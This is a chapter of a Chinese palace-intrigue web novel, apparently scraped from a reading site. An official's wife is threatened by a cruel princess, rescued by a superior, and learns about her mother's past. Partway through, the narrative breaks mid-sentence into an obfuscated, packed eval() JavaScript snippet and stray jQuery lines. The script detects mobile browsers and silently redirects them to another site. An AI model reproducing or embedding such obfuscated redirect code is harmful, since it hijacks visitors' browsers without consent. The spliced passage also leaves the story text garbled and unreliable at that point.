大燕规定的早朝时间是卯时初,但苏箐宁不需要上早朝,所以能赖到辰时初。
苏箐宁今日还特地起得早了些,准备去礼部翻翻有没有户部尚书的老底儿,找出来当做把柄拿来威胁那老头。
结果十分倒霉,她在宫里碰上了那位嚣张跋扈的皇宫小霸王,荣华公主。
苏箐宁原本想着离得还有些远,估计容华也没见到她,就打算赶紧换一条路,远远遁走。
没想到的是,这容华的目力如此好,隔着大老远,就已经看见她,横眉冷眼地高声道:“那边那个宫女?哪个宫的?见了本宫为何不过来行礼?”
苏箐宁无奈,只得又折返回来,走回到容华面前,行礼道:“臣苏箐宁,参见荣华公主。”
容华打量着面前的女人,秀眉微蹙:“你是女官?哪里的?”
苏箐宁道:“回公主殿下,礼部的。”
容华幽幽道:“你是新来的?我见过你?”
苏箐宁唇边弯起一个十分得体的笑容,道:“想来是没有,公主殿下金枝玉叶,臣初入皇宫,想必是没什么机会得见公主尊面。”
容华想了想,觉得也对,但她就是觉得这人眼熟得很!
她有些懊恼地甩甩头,实在想不起来,只得作罢,她冷哼一声,道:“适才你瞧见本宫不知道行礼,罚你一个月的俸禄,本宫会差人去和礼部的人知会一声。”
苏箐宁心里苦笑,她刚来当差两天而已,就已经被扣了一个月的俸禄,还真是倒霉得很,但面上,她只能答应:“是,谢公主殿下不计较臣的失礼。”
“行了,你走吧。”容华恹恹地挥手放人。
苏箐宁暗暗松了口气,还好这位公主殿下没想起来她是谁,要是知道了她是容栩的好朋友,还指不定怎么折腾她。
她脚下步子加快,十分迅速地掉头就走。
容华看着她的背影,恍惚了一下,然后脑海中蓦地闪过一道人影,她想起来了,她们之前在太后寿宴的时候见过的!那时她被容栩气昏了头,压根没瞧见她旁边坐着的人长什么模样,只瞧见一个背影,与如今这个一模一样!
“站住!”容华大喝一声,疾步上前,一把拽住了苏箐宁的衣袖。
“是你!你就是那个镇南王府的世子妃吧!最近江南水灾立了大功被破格提升进来的!”容华怒目圆瞪,在这皇宫里她最讨厌的就是容栩还有她那个惯会勾引人的娘!一个三言两语就将她从小到大青梅竹马的玩伴给勾搭走了,另一个天天霸着父皇不松手,全是该死的贱人。
自从那次姑姑举办的诗会过后,容栩就跟变了个人似的,花言巧语一套一套的,将身边的人哄得心花怒放,几乎什么都听她的,而她却被容栩打压得几乎抬不起头。
容华恶狠狠地磨牙,她一直找不到机会报复回去,这下可好,这位落单的世子妃可是刚巧就撞进她的手里了,她可得好好地问候问候这位孤立无援的世子妃啊。
“我听说,你与容栩相熟。”肯定的语气,容华认出她来了。
苏箐宁暗道不好,措辞谨慎地道:“晟悯公主是季小将军的好友,我家夫君与季小将军家乃是世交,是以我二人才认识,不过也只见过几面之缘而已,谈不上相熟。”
事实上她刚从容栩宫里吃了早饭出来。
容华盯着她,冷笑道:“哦?是吗?可我怎么听说,你此次下江南时立的功劳可是有容栩很大的助力,坊间都传,你们两个关系好得很呢。”
苏箐宁扯起谎来眼睛都不眨一下:“晟悯公主下江南是与季小将军同去的,帮助臣,只是顺手而已。”
“你撒谎!竟敢骗本宫!来人,给我拔了她的舌头!”苏箐宁的话容华半个字都不信,她松开拽着苏箐宁服的手,狠厉地吩咐身边的宫女动手招呼苏箐宁。
苏箐宁心里一惊,没想到这位容华一上来就是如此狠辣的手段,她后退两步,对上公主,顾羽绝对不能贸然出手,正思索对策时,身后传来温吞的脚步声。
“下官礼部侍郎江程昱,参见荣华公主,世子妃。”温文有礼的声音在苏箐宁身后响起。
江程昱?长公主驸马?
“姑父?你怎么在这儿?”容华乖张的脸色稍稍收敛。
江程昱颔首道:“我来当差,我记得世子妃也是隶属礼部的吧?是在宫中迷路了吗?需不需要我带你过去?”
说起来,其实江程昱现在也算是苏箐宁的上司了,她知道他是在替她解围,于是十分干脆地答应:“那就多谢江侍郎。”
容华柳眉倒竖,她要折磨的人,岂能就这般轻易放走,这江程昱还真当自己是个人物了?叫他一声姑父那就是给他面子,他还以为自己是谁啊?
她刚要出言喝止,却听江程昱道:“公主殿下,长公主今日入宫,如今正在慈宁殿陪太后娘娘说话,您若是现在过去,还能见到她。”
容华收了声音,皇姑姑入宫了?她已经好久没见到皇姑姑了,正好她也确实有事要找皇姑姑商量,可不能放过这次绝佳的机会。
“哼!我们走。”她凶悍地瞪了苏箐宁和江程昱一眼,心想着放她一马,反正她如今在礼部任职,只要她想,随时能去找她算账。
待容华走了,苏箐宁长出了一口气,朝着江程昱作揖行礼,道谢:“多谢江侍郎,若非江侍郎相救,恐怕今日我的舌头要交代在这里。”
“无妨,既然都碰上了,就一道走吧。”江程昱还是老样子,温温和和的,给人很舒缓的感觉。
苏箐宁想起长公主那凌厉的气场,心想着这两人倒也算是挺搭配,相互中和一下对方的脾性,日子才能过得下去。
“江侍郎是哪里人啊?我听着你的口音,不是京城本地吧?”苏箐宁道。
江程昱的声音温柔清润,偏向南方。
江程昱答:“我是江南苏城人士,读书科举来北方做官。”
“你,之前问我认不认识一个叫云蔓的人,她是你的什么人吗?”苏箐宁旁敲侧击
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011168|172649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,江南一行,她大致了解了自己的身世,但她还是不理解,为什么明明不喜欢,不爱,还要将她带到这个世界上,既然生下了她,又为什么不养不护。
江程昱想起苏箐宁之前去了江南,估计她是知道了些什么,才来问他。
虽然苏箐宁曾经骗他说自己不认识什么云蔓,但他也并不吝啬解答。
“我是江南苏城人,云蔓家,是我家的邻居,云蔓是被人牙子拐卖来的村里,原被我领居家买去做童养媳,云蔓小时候也不叫云蔓,她那时候是她们家最小的,她养父母那时候很想要个儿子,于是给她取名字叫阿望。”
“后来她们家又生了三个个女儿,实在是养不起了,就卖掉了几个,阿望就是那个时候被卖掉的。自那以后我就没见过她,但是后来我长大了,曾有一次跟着先生一起去临城办事,那时候临城一带有一个十分有名的花魁姑娘,说来惭愧,我那时年纪还小,对于这类热闹是十分喜爱,便也没忍住,跟着同窗一起去看了花魁游街。其后,便一眼认出了那花魁云蔓,就是儿时邻居家的玩伴阿望。”
“但是阿望七八岁就被卖掉了,那时已经不记得我领居家的人了,也不记得我是谁,最后我也只能放弃了和她相认。不久后我就回了苏城。原以为缘分就到这里结束了,没想到后来,我又一次见到了她,那时候也是在临城,她一身黑色,浑身上下都是血,她那个时候好像就已经怀孕了,她求我救救她,说外面有人要杀她。我当时吓着了,问她要不要报官,但她说一定不能报官,我于是听她的,找人备了马车,连夜将她送出了城,第二天,就有人找上了我,来的人是江南于家的大公子,他问我将人送到哪里去了。”
“我其实也不知道,我只是给她备了马车,去哪里全凭她自己的主意,最后那于家大公子问不出什么,也那我没办法,黑着脸走了。再后来,我就再没见过她了。”江程昱慢慢地说着,眼睑微微下垂着。
苏箐宁听着没说话,所以其实她母亲是逃出了于府的,她那时候就是在违抗无逆了吗?所以她乘马车逃出城后,应该就遇到了颂仁医仙,侥幸活了下来。
“你母亲,她还活着吗?”江程昱的声音打断了苏箐宁的思路。
她抬头看他,他能知道云蔓是她母亲,倒也不奇怪,毕竟她们长得实在像。
总是平静无波的江侍郎脸上有那么一丝希冀,看着她时好像在透过她看另一个人。
“她死了。”苏箐宁淡淡道。
“……嗯,我知道了。”希冀褪去,淡淡的失望在脸上缭绕着。
苏箐宁冷冷地想,男人总是最在意得不到的东西。
于景熠是,江程昱也是。
所以她的母亲是被拐卖去的江南,那她的母亲的亲生父母又是什么人?
苏箐宁觉得她心中应该已经有了答案。
为什么她娘亲在最后要去宁安侯府呢?又为什么要将她托付给宁安侯府?其实宁安侯并不是她的心上人,而是她的亲人吧?